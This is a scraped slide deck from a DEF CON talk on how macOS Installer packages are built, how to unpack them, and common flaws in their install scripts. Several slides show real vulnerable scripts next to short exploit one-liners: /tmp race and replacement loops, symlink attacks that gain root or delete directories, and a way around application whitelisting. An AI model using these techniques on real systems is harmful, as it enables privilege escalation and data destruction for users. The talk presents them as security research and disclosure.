A look inside macOS Installer packages and
common security flaws
This is Me
● Experience: 11 years professional, 20+ years hobbyist
○ Self-taught → Stanford → iSEC Partners → NCC Group
● Security consultant: appsec focus
○ IC → Management → IC
This is Me
● Experience: 11 years professional, 20+ years hobbyist
○ Self-taught → Stanford → iSEC Partners → NCC Group
● Security consultant: appsec focus
○ IC → Management → IC
● “Dana Vollmer’s husband” (5x Olympic Gold Medalist)
This is Me
● Experience: 11 years professional, 20+ years hobbyist
○ Self-taught → Stanford → iSEC Partners → NCC Group
● Security consultant: appsec focus
○ IC → Management → IC
● “Dana Vollmer’s husband” (5x Olympic Gold Medalist)
http://www.zimbio.com/Hottest+Olympic+Husbands+and+Boyfriends/
articles/u_giY9WHdG9/Dana+Vollmer+Husband+Andy+Grant
Overview
● Motivation
● The package
● Unpacking
● What can (and does) go wrong
Why?
● I’ve got trust issues
○ What’s really going on?
● All in a day’s work
○ Sometimes there’s nothing else to look at
A look at the package
The Package - Outside
● Mac OS X Installer flat package (.pkg extension)
○ Little to no official documentation
■ Better unofficial (but incomplete) documentation
https://matthew-brett.github.io/docosx/flat_packages.html
http://s.sudre.free.fr/Stuff/Ivanhoe/FLAT.html
● eXtensible ARchive (XAR)
● Helpful tools
○ macOS pre-installed pkgutil
○ Suspicious Package:
https://www.mothersruin.com/software/SuspiciousPackage/
But what’s inside?
Unpacking
● The easy way
pkgutil --expand "/path/to/package.pkg" "/path/to/output/directory"
Unpacking
● The easy way
pkgutil --expand "/path/to/package.pkg" "/path/to/output/directory"
● The hacker way
mkdir -p "/path/to/output/directory"
cd "/path/to/output/directory"
xar -xf "/path/to/package.pkg"
The Package - Inside
├── Distribution XML document text, ASCII text
├── Resources directory
└── <package>.pkg directory
├── Bom Mac OS X bill of materials (BOM) file
├── PackageInfo XML document text, ASCII text
├── Payload gzip compressed data, from Unix
└── Scripts gzip compressed data, from Unix
The Package - Distribution, PackageInfo, Bom
● Distribution (XML + JavaScript)
○ Customizations (title, welcome text, readme, background, restart, etc)
○ Script / installation checks (InstallerJS)
The Package - Distribution, PackageInfo, Bom
● Distribution (XML + JavaScript)
○ Customizations (title, welcome text, readme, background, restart, etc)
○ Script / installation checks (InstallerJS)
● PackageInfo (XML)
○ Information on the package
○ Install requirements
○ Installation location
○ Paths to scripts to run
The Package - Distribution, PackageInfo, Bom
● Distribution (XML + JavaScript)
○ Customizations (title, welcome text, readme, background, restart, etc)
○ Script / installation checks (InstallerJS)
● PackageInfo (XML)
○ Information on the package
○ Install requirements
○ Installation location
○ Paths to scripts to run
● Bill of materials (bom)
○ List of files to install, update, or remove
○ File permissions, owner/group, size, etc
The Package - Payload, Scripts
● Payload (CPIO archive, gzip)
○ The files to be installed
○ Extracted to the install location specified in PackageInfo
The Package - Payload, Scripts
● Payload (CPIO archive, gzip)
○ The files to be installed
○ Extracted to the install location specified in PackageInfo
● Scripts (CPIO archive, gzip)
○ Pre- and post-install scripts and additional resources
■ Bash, Python, Perl, <executable + #!>
○ Extracted to random temp directory for execution
Unpacking - Scripts
● gzip’d cpio files
cat Scripts | gzip -dc | cpio -i
Unpacking - Scripts
● gzip’d cpio files
cat Scripts | gzip -dc | cpio -i
● But cpio knows how to handle compressed files natively
cpio -i < Scripts
Unpacking - Scripts
● gzip’d cpio files
cat Scripts | gzip -dc | cpio -i
● But cpio knows how to handle compressed files natively
cpio -i < Scripts
If you did the easy way (pkgutil --expand) this was done for you and Scripts
is a directory containing the archive’s contents
Unpacking - Payload
● Same as Scripts
cpio -i < Payload
Unpacking - Payload
● Same as Scripts
cpio -i < Payload
● Sometimes contains more .pkg files; recurse!
Unpacking - Payload
● Same as Scripts
cpio -i < Payload
● Sometimes contains more .pkg files; recurse!
Unlike Scripts, pkgutil --expand DOES NOT expand Payload for you
What happens when I double click the .pkg?
Installation - Order of operations (roughly)
1. Installation checks, specified in Distribution:
<installation-check script="installCheck();"/>
Installation - Order of operations (roughly)
1. Installation checks, specified in Distribution:
<installation-check script="installCheck();"/>
2. Preinstall, specified in PackageInfo:
<scripts>
<preinstall file="./preinstall"/>
</scripts>
Installation - Order of operations (roughly)
1. Installation checks, specified in Distribution:
<installation-check script="installCheck();"/>
2. Preinstall, specified in PackageInfo:
<scripts>
<preinstall file="./preinstall"/>
</scripts>
3. Extract Payload to install-location from PackageInfo
Installation - Order of operations (roughly)
1. Installation checks, specified in Distribution:
<installation-check script="installCheck();"/>
2. Preinstall, specified in PackageInfo:
<scripts>
<preinstall file="./preinstall"/>
</scripts>
3. Extract Payload to install-location from PackageInfo
4. Postinstall, specified in PackageInfo:
<scripts>
<postinstall file="./postinstall"/>
</scripts>
What can go wrong?
Security - Where are the vulns?
● Scripts
○ Preinstall
○ Postinstall
○ Helper scripts
● Payload
○ Additional scripts (application helpers, uninstall scripts, etc)
○ Normal native app issues (brush up on your reversing skills!)
■ Binary
■ Libraries
■ Kernel modules
Security - Types of vulns
● TOCTOU (minus the TOC)
● /tmp isn’t safe?!
○ What about for reads? Nope
○ What about for writes? Nope
○ What about for executes? Nope
● Access for all!
○ chmod 777
Real vulns in real .pkgs (in the past 8 months)
Into the Wild
● Root privilege escalation
● Symlink abuse
● Privilege escalation
● Arbitrary directory deletion
● Arbitrary code execution
Into the Wild - Root privilege escalation
● Vulnerability
○ Payload includes /var/tmp/Installerutil
○ Postinstall:
sudo /var/tmp/Installerutil --validate_nsbrandingfile
"$NSBRANDING_JSON_FILE" "$NSINSTPARAM_JSON_FILE"
● Attack - Logged in non-root user attacking IT admin installing software
○ Exploit:
while [ ! -f /var/tmp/Installerutil ]; do :; done; rm
/var/tmp/Installerutil; cp exploit.sh /var/tmp/Installerutil
Into the Wild - Symlink abuse
● Vulnerability
○ Preinstall:
sudo rm /var/tmp/nsinstallation
○ Postinstall:
sudo chmod 777 /var/tmp/nsinstallation
sudo chown "${CONSOLE_USER}" /var/tmp/nsinstallation
● Attack - Any user/process attacking system administrator
○ Exploit:
touch /var/tmp/nsinstallation; while [ -f /var/tmp/nsinstallation
]; do :; done; ln -s /Applications /var/tmp/nsinstallation
Into the Wild - Privilege escalation
● Vulnerability
○ Preinstall:
rm -rf /tmp/7z
unzipresult=$(/usr/bin/unzip -q "$APP_FOLDER/7z.zip" -d "/tmp")
un7zresult=$(/tmp/7z x "${APP_FOLDER}/xy.7z" -o "$APP_FOLDER")
● Attack - Any user/process attacking installing user
○ Exploit:
cp exploit.sh /tmp/7z
Into the Wild - Arbitrary directory deletion
● Vulnerability
○ Helper script inside Payload:
# Clean up garbage
rm -rf /tmp/sdu/*
rmdir /tmp/sdu/
● Attack - Any user/process attacking user running installed application
○ Exploit:
ln -s /Users/victim /var/sdu
Into the Wild - Arbitrary code execution
● Vulnerability
○ PackageInfo:
<pkg-info install-location="/tmp/RazerSynapse" auth="root">
○ Postinstall:
cd /tmp/RazerSynapse
for package in /tmp/RazerSynapse/*.pkg
do
installer -pkg "${package}" -target /
Into the Wild - Arbitrary code execution
● Vulnerability
○ PackageInfo:
<pkg-info install-location="/tmp/RazerSynapse" auth="root">
○ Postinstall:
cd /tmp/RazerSynapse
for package in /tmp/RazerSynapse/*.pkg
do
installer -pkg "${package}" -target /
Into the Wild - Arbitrary code execution
● DEMO!
○ Download target package
○ Extract files from .pkg
○ Check Distribution for installation-checks / script
○ Check PackageInfo for install-location and scripts
○ Extract files from Scripts
○ Check scripts for vulns
○ Craft exploit for discovered vuln
○ “Deliver” exploit and wait for installation
○ Install package
○ Profit!
Into the Wild - Demo
https://www.youtube.com/watch?v=OvlSLCVgaMs
That Was Unexpected
● “No payload” packages leave no receipts
○ Nothing was “installed”, so no system record of the installation occurring
○ For minimal clicks, do everything during the installation checks
● Application Whitelisting (Google’s Santa) bypass:
https://www.praetorian.com/blog/bypassing-google-santa-application-whitelisting-on-macos-part-1
○ On macOS, app whitelisting is at the execve level, and installer is whitelisted
○ Code run via installation checks and pre- and post-install scripts run as installer
Questions?
@andywgrant

More Related Content

PPT
download presentation
ODP
Python-specific packaging
PDF
The Windows 10 tips you wished you knew last week
TXT
Simple php backdoor_by_dk
PDF
Solaris 11 base box for Vagrant using Packer
PDF
using Virtualbox NAT and shared folder
PPTX
Tutorial to make sure of nginx files starterpack.
PDF
Cygwin+and+open ssl+install+guide
download presentation
Python-specific packaging
The Windows 10 tips you wished you knew last week
Simple php backdoor_by_dk
Solaris 11 base box for Vagrant using Packer
using Virtualbox NAT and shared folder
Tutorial to make sure of nginx files starterpack.
Cygwin+and+open ssl+install+guide

What's hot (8)

PDF
macOS アプリで Swift Package Manager を使ってみる #love_swift #hakataswift
KEY
Nodejs Intro
PDF
Message Decrypt
TXT
Sn office 2010
PDF
How tos nagios - centos wiki
PDF
OSMC2010 Open NMS Kickstart
PPTX
Nagios
ODP
AutoYast
macOS アプリで Swift Package Manager を使ってみる #love_swift #hakataswift
Nodejs Intro
Message Decrypt
Sn office 2010
How tos nagios - centos wiki
OSMC2010 Open NMS Kickstart
Nagios
AutoYast
Ad

Similar to DEF CON 27 - ANDY GRANT - unpacking pkgs (20)

PDF
Dependencies Managers in C/C++. Using stdcpp 2014
PPTX
Oracle Solaris 11 - Best for Enterprise Applications
PDF
$ make install
PDF
Debian packaging
PDF
Course 102: Lecture 22: Package Management
PPT
linux+ learnkey DVD 2
PDF
Getting root with benign app store apps
PPTX
Automated Detection of Software Bugs and Vulnerabilities in Linux
PPTX
Linux Package Management.pptx
PDF
Security Challenges of Antivirus Engines, Products and Systems
PDF
Configure, Pack and Distribute: An RPM Creation Workshop
PPT
Linux Troubleshooting
ODP
Slackware: Quickly and Easily Manage Your KDE SC Hacking [Camp KDE 2011]
PDF
OSDC 2013 | Software Packaging with RPM Demystified by Andrew Ford
PDF
Debian Package Management Simplified
ODP
packaging
PDF
Debian Packaging tutorial
PDF
Packaging is the Worst Way to Distribute Software, Except for Everything Else
PDF
Package management and creation in Gentoo Linux
Dependencies Managers in C/C++. Using stdcpp 2014
Oracle Solaris 11 - Best for Enterprise Applications
$ make install
Debian packaging
Course 102: Lecture 22: Package Management
linux+ learnkey DVD 2
Getting root with benign app store apps
Automated Detection of Software Bugs and Vulnerabilities in Linux
Linux Package Management.pptx
Security Challenges of Antivirus Engines, Products and Systems
Configure, Pack and Distribute: An RPM Creation Workshop
Linux Troubleshooting
Slackware: Quickly and Easily Manage Your KDE SC Hacking [Camp KDE 2011]
OSDC 2013 | Software Packaging with RPM Demystified by Andrew Ford
Debian Package Management Simplified
packaging
Debian Packaging tutorial
Packaging is the Worst Way to Distribute Software, Except for Everything Else
Package management and creation in Gentoo Linux
Ad

More from Felipe Prado (20)

PDF
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
PDF
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
PDF
DEF CON 24 - Tamas Szakaly - help i got ants
PDF
DEF CON 24 - Ladar Levison - compelled decryption
PDF
DEF CON 24 - Clarence Chio - machine duping 101
PDF
DEF CON 24 - Chris Rock - how to overthrow a government
PDF
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
PDF
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
PDF
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
PDF
DEF CON 24 - Gorenc Sands - hacker machine interface
PDF
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
PDF
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
PDF
DEF CON 24 - Rich Mogull - pragmatic cloud security
PDF
DEF CON 24 - Grant Bugher - Bypassing captive portals
PDF
DEF CON 24 - Patrick Wardle - 99 problems little snitch
PDF
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
PDF
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
PDF
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
PDF
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
PDF
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Antonio Joseph - fuzzing android devices

Recently uploaded (20)

PDF
Advancing precision in air quality forecasting through machine learning integ...
PDF
NewMind AI Weekly Chronicles – August ’25 Week IV
PDF
Aug23rd - Mulesoft Community Workshop - Hyd, India.pdf
PDF
Co-training pseudo-labeling for text classification with support vector machi...
PDF
AI.gov: A Trojan Horse in the Age of Artificial Intelligence
PDF
Transform-Your-Factory-with-AI-Driven-Quality-Engineering.pdf
PPTX
Build automations faster and more reliably with UiPath ScreenPlay
PDF
Connector Corner: Transform Unstructured Documents with Agentic Automation
PDF
Introduction to MCP and A2A Protocols: Enabling Agent Communication
PDF
giants, standing on the shoulders of - by Daniel Stenberg
PDF
A hybrid framework for wild animal classification using fine-tuned DenseNet12...
PDF
The-2025-Engineering-Revolution-AI-Quality-and-DevOps-Convergence.pdf
PDF
zbrain.ai-Scope Key Metrics Configuration and Best Practices.pdf
PDF
A symptom-driven medical diagnosis support model based on machine learning te...
PDF
5-Ways-AI-is-Revolutionizing-Telecom-Quality-Engineering.pdf
PPTX
MuleSoft-Compete-Deck for midddleware integrations
PDF
Early detection and classification of bone marrow changes in lumbar vertebrae...
PDF
LMS bot: enhanced learning management systems for improved student learning e...
PDF
ment.tech-Siri Delay Opens AI Startup Opportunity in 2025.pdf
PDF
Transform-Your-Supply-Chain-with-AI-Driven-Quality-Engineering.pdf
Advancing precision in air quality forecasting through machine learning integ...
NewMind AI Weekly Chronicles – August ’25 Week IV
Aug23rd - Mulesoft Community Workshop - Hyd, India.pdf
Co-training pseudo-labeling for text classification with support vector machi...
AI.gov: A Trojan Horse in the Age of Artificial Intelligence
Transform-Your-Factory-with-AI-Driven-Quality-Engineering.pdf
Build automations faster and more reliably with UiPath ScreenPlay
Connector Corner: Transform Unstructured Documents with Agentic Automation
Introduction to MCP and A2A Protocols: Enabling Agent Communication
giants, standing on the shoulders of - by Daniel Stenberg
A hybrid framework for wild animal classification using fine-tuned DenseNet12...
The-2025-Engineering-Revolution-AI-Quality-and-DevOps-Convergence.pdf
zbrain.ai-Scope Key Metrics Configuration and Best Practices.pdf
A symptom-driven medical diagnosis support model based on machine learning te...
5-Ways-AI-is-Revolutionizing-Telecom-Quality-Engineering.pdf
MuleSoft-Compete-Deck for midddleware integrations
Early detection and classification of bone marrow changes in lumbar vertebrae...
LMS bot: enhanced learning management systems for improved student learning e...
ment.tech-Siri Delay Opens AI Startup Opportunity in 2025.pdf
Transform-Your-Supply-Chain-with-AI-Driven-Quality-Engineering.pdf

DEF CON 27 - ANDY GRANT - unpacking pkgs

  • 1. A look inside macOS Installer packages and common security flaws
  • 2. This is Me ● Experience: 11 years professional, 20+ years hobbyist ○ Self-taught → Stanford → iSEC Partners → NCC Group ● Security consultant: appsec focus ○ IC → Management → IC
  • 3. This is Me ● Experience: 11 years professional, 20+ years hobbyist ○ Self-taught → Stanford → iSEC Partners → NCC Group ● Security consultant: appsec focus ○ IC → Management → IC ● “Dana Vollmer’s husband” (5x Olympic Gold Medalist)
  • 4. This is Me ● Experience: 11 years professional, 20+ years hobbyist ○ Self-taught → Stanford → iSEC Partners → NCC Group ● Security consultant: appsec focus ○ IC → Management → IC ● “Dana Vollmer’s husband” (5x Olympic Gold Medalist) http://www.zimbio.com/Hottest+Olympic+Husbands+and+Boyfriends/ articles/u_giY9WHdG9/Dana+Vollmer+Husband+Andy+Grant
  • 5. Overview ● Motivation ● The package ● Unpacking ● What can (and does) go wrong
  • 6. Why? ● I’ve got trust issues ○ What’s really going on? ● All in a day’s work ○ Sometimes there’s nothing else to look at
  • 7. A look at the package
  • 8. The Package - Outside ● Mac OS X Installer flat package (.pkg extension) ○ Little to no official documentation ■ Better unofficial (but incomplete) documentation https://matthew-brett.github.io/docosx/flat_packages.html http://s.sudre.free.fr/Stuff/Ivanhoe/FLAT.html ● eXtensible ARchive (XAR) ● Helpful tools ○ macOS pre-installed pkgutil ○ Suspicious Package: https://www.mothersruin.com/software/SuspiciousPackage/
  • 10. Unpacking ● The easy way pkgutil --expand "/path/to/package.pkg" "/path/to/output/directory"
  • 11. Unpacking ● The easy way pkgutil --expand "/path/to/package.pkg" "/path/to/output/directory" ● The hacker way mkdir -p "/path/to/output/directory" cd "/path/to/output/directory" xar -xf "/path/to/package.pkg"
  • 12. The Package - Inside ├── Distribution XML document text, ASCII text ├── Resources directory └── <package>.pkg directory ├── Bom Mac OS X bill of materials (BOM) file ├── PackageInfo XML document text, ASCII text ├── Payload gzip compressed data, from Unix └── Scripts gzip compressed data, from Unix
  • 13. The Package - Distribution, PackageInfo, Bom ● Distribution (XML + JavaScript) ○ Customizations (title, welcome text, readme, background, restart, etc) ○ Script / installation checks (InstallerJS)
  • 14. The Package - Distribution, PackageInfo, Bom ● Distribution (XML + JavaScript) ○ Customizations (title, welcome text, readme, background, restart, etc) ○ Script / installation checks (InstallerJS) ● PackageInfo (XML) ○ Information on the package ○ Install requirements ○ Installation location ○ Paths to scripts to run
  • 15. The Package - Distribution, PackageInfo, Bom ● Distribution (XML + JavaScript) ○ Customizations (title, welcome text, readme, background, restart, etc) ○ Script / installation checks (InstallerJS) ● PackageInfo (XML) ○ Information on the package ○ Install requirements ○ Installation location ○ Paths to scripts to run ● Bill of materials (bom) ○ List of files to install, update, or remove ○ File permissions, owner/group, size, etc
  • 16. The Package - Payload, Scripts ● Payload (CPIO archive, gzip) ○ The files to be installed ○ Extracted to the install location specified in PackageInfo
  • 17. The Package - Payload, Scripts ● Payload (CPIO archive, gzip) ○ The files to be installed ○ Extracted to the install location specified in PackageInfo ● Scripts (CPIO archive, gzip) ○ Pre- and post-install scripts and additional resources ■ Bash, Python, Perl, <executable + #!> ○ Extracted to random temp directory for execution
  • 18. Unpacking - Scripts ● gzip’d cpio files cat Scripts | gzip -dc | cpio -i
  • 19. Unpacking - Scripts ● gzip’d cpio files cat Scripts | gzip -dc | cpio -i ● But cpio knows how to handle compressed files natively cpio -i < Scripts
  • 20. Unpacking - Scripts ● gzip’d cpio files cat Scripts | gzip -dc | cpio -i ● But cpio knows how to handle compressed files natively cpio -i < Scripts If you did the easy way (pkgutil --expand) this was done for you and Scripts is a directory containing the archive’s contents
  • 21. Unpacking - Payload ● Same as Scripts cpio -i < Payload
  • 22. Unpacking - Payload ● Same as Scripts cpio -i < Payload ● Sometimes contains more .pkg files; recurse!
  • 23. Unpacking - Payload ● Same as Scripts cpio -i < Payload ● Sometimes contains more .pkg files; recurse! Unlike Scripts, pkgutil --expand DOES NOT expand Payload for you
  • 24. What happens when I double click the .pkg?
  • 25. Installation - Order of operations (roughly) 1. Installation checks, specified in Distribution: <installation-check script="installCheck();"/>
  • 26. Installation - Order of operations (roughly) 1. Installation checks, specified in Distribution: <installation-check script="installCheck();"/> 2. Preinstall, specified in PackageInfo: <scripts> <preinstall file="./preinstall"/> </scripts>
  • 27. Installation - Order of operations (roughly) 1. Installation checks, specified in Distribution: <installation-check script="installCheck();"/> 2. Preinstall, specified in PackageInfo: <scripts> <preinstall file="./preinstall"/> </scripts> 3. Extract Payload to install-location from PackageInfo
  • 28. Installation - Order of operations (roughly) 1. Installation checks, specified in Distribution: <installation-check script="installCheck();"/> 2. Preinstall, specified in PackageInfo: <scripts> <preinstall file="./preinstall"/> </scripts> 3. Extract Payload to install-location from PackageInfo 4. Postinstall, specified in PackageInfo: <scripts> <postinstall file="./postinstall"/> </scripts>
  • 29. What can go wrong?
  • 30. Security - Where are the vulns? ● Scripts ○ Preinstall ○ Postinstall ○ Helper scripts ● Payload ○ Additional scripts (application helpers, uninstall scripts, etc) ○ Normal native app issues (brush up on your reversing skills!) ■ Binary ■ Libraries ■ Kernel modules
  • 31. Security - Types of vulns ● TOCTOU (minus the TOC) ● /tmp isn’t safe?! ○ What about for reads? Nope ○ What about for writes? Nope ○ What about for executes? Nope ● Access for all! ○ chmod 777
  • 32. Real vulns in real .pkgs (in the past 8 months)
  • 33. Into the Wild ● Root privilege escalation ● Symlink abuse ● Privilege escalation ● Arbitrary directory deletion ● Arbitrary code execution
  • 34. Into the Wild - Root privilege escalation ● Vulnerability ○ Payload includes /var/tmp/Installerutil ○ Postinstall: sudo /var/tmp/Installerutil --validate_nsbrandingfile "$NSBRANDING_JSON_FILE" "$NSINSTPARAM_JSON_FILE" ● Attack - Logged in non-root user attacking IT admin installing software ○ Exploit: while [ ! -f /var/tmp/Installerutil ]; do :; done; rm /var/tmp/Installerutil; cp exploit.sh /var/tmp/Installerutil
  • 35. Into the Wild - Symlink abuse ● Vulnerability ○ Preinstall: sudo rm /var/tmp/nsinstallation ○ Postinstall: sudo chmod 777 /var/tmp/nsinstallation sudo chown "${CONSOLE_USER}" /var/tmp/nsinstallation ● Attack - Any user/process attacking system administrator ○ Exploit: touch /var/tmp/nsinstallation; while [ -f /var/tmp/nsinstallation ]; do :; done; ln -s /Applications /var/tmp/nsinstallation
  • 36. Into the Wild - Privilege escalation ● Vulnerability ○ Preinstall: rm -rf /tmp/7z unzipresult=$(/usr/bin/unzip -q "$APP_FOLDER/7z.zip" -d "/tmp") un7zresult=$(/tmp/7z x "${APP_FOLDER}/xy.7z" -o "$APP_FOLDER") ● Attack - Any user/process attacking installing user ○ Exploit: cp exploit.sh /tmp/7z
  • 37. Into the Wild - Arbitrary directory deletion ● Vulnerability ○ Helper script inside Payload: # Clean up garbage rm -rf /tmp/sdu/* rmdir /tmp/sdu/ ● Attack - Any user/process attacking user running installed application ○ Exploit: ln -s /Users/victim /var/sdu
  • 38. Into the Wild - Arbitrary code execution ● Vulnerability ○ PackageInfo: <pkg-info install-location="/tmp/RazerSynapse" auth="root"> ○ Postinstall: cd /tmp/RazerSynapse for package in /tmp/RazerSynapse/*.pkg do installer -pkg "${package}" -target /
  • 39. Into the Wild - Arbitrary code execution ● Vulnerability ○ PackageInfo: <pkg-info install-location="/tmp/RazerSynapse" auth="root"> ○ Postinstall: cd /tmp/RazerSynapse for package in /tmp/RazerSynapse/*.pkg do installer -pkg "${package}" -target /
  • 40. Into the Wild - Arbitrary code execution ● DEMO! ○ Download target package ○ Extract files from .pkg ○ Check Distribution for installation-checks / script ○ Check PackageInfo for install-location and scripts ○ Extract files from Scripts ○ Check scripts for vulns ○ Craft exploit for discovered vuln ○ “Deliver” exploit and wait for installation ○ Install package ○ Profit!
  • 41. Into the Wild - Demo https://www.youtube.com/watch?v=OvlSLCVgaMs
  • 42. That Was Unexpected ● “No payload” packages leave no receipts ○ Nothing was “installed”, so no system record of the installation occurring ○ For minimal clicks, do everything during the installation checks ● Application Whitelisting (Google’s Santa) bypass: https://www.praetorian.com/blog/bypassing-google-santa-application-whitelisting-on-macos-part-1 ○ On macOS, app whitelisting is at the execve level, and installer is whitelisted ○ Code run via installation checks and pre- and post-install scripts run as installer